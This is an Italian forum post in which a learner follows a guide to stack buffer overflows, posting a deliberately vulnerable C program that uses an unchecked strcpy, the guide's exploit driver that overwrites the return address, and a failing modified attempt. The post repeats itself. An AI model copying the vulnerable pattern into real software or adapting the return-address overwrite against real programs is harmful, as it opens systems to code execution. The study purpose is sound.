20/05/11 0:02
ElCobra91
Ciao a tutti,per studio stavo cercando di capire come si comporta il computer durante un exploit.su internet ho trovato la guida semplice di che spiega brevemente stack overflow .Volendomi addentrare di più nel concetto ho provato a seguire gli esempi.In pratica da una parte ho questo codice
prog1.c
e poi questo semplice codice che dovrebbe chiarirmi le idee dell'exploit
esempioexploit.c
da quanto capito in pratica sfruttando l'overflow del primo posso far eseguire la funzione function.
e quindi da terminale digitando ./esempioexploit dovrebbe stampare "Ci sei riuscito".
Naturalmente chi ha scritto la guida ha specificato che con un buffer di 28 byte andava in overflow e tramite l'operazione di debugging ha disassemblato la function e letto quindi il suo indirizzo di memoria che è appunto 0x00401294. Ora io facendo un po di tentativi eseguendo prog1 da linea di comando e passando come argomento 196 volte la lettera A mi dice errore di segmentazione quindi suppongo che questa sarà la lunghezza del buffer che io devo usare.Quindo disassemblo la function copio l'indirizzo di memoria..in pratica al codice originale sostituisco i mie dati ma non mi torna nulla,cioè mi da segmentation fault.vi posto il mio codice
dove è che sbaglio?potete darmi delucidazioni per favore?grazie mille..
prog1.c
function (){ printf("Ci sei riuscito!!!!"); exit(0); } main (int argc, char *argv[]) { char var[10]; strcpy(var,argv[1]); }
e poi questo semplice codice che dovrebbe chiarirmi le idee dell'exploit
esempioexploit.c
int main (void) { char buf[31],lancia[35]; int i; for (i=0; i<28; i++) { *(long *)&buf[i]=0x61; } *(long *)&buf[28]=0x00401294; strcpy(lancia,"prog1 "); strcat(lancia,buf); system(lancia); }
da quanto capito in pratica sfruttando l'overflow del primo posso far eseguire la funzione function.
e quindi da terminale digitando ./esempioexploit dovrebbe stampare "Ci sei riuscito".
Naturalmente chi ha scritto la guida ha specificato che con un buffer di 28 byte andava in overflow e tramite l'operazione di debugging ha disassemblato la function e letto quindi il suo indirizzo di memoria che è appunto 0x00401294. Ora io facendo un po di tentativi eseguendo prog1 da linea di comando e passando come argomento 196 volte la lettera A mi dice errore di segmentazione quindi suppongo che questa sarà la lunghezza del buffer che io devo usare.Quindo disassemblo la function copio l'indirizzo di memoria..in pratica al codice originale sostituisco i mie dati ma non mi torna nulla,cioè mi da segmentation fault.vi posto il mio codice
#include<stdio.h> #include<stdlib.h> #include<string.h> int main (void) { char buf[199],lancia[205]; int i; for (i=0; i<196; i++) { *(long *)&buf[i]=0x61; } *(long *)&buf[195]=0x08048474; strcpy(lancia,"./prog1 "); strcat(lancia,buf); system(lancia); return 0; }
dove è che sbaglio?potete darmi delucidazioni per favore?grazie mille..
aaa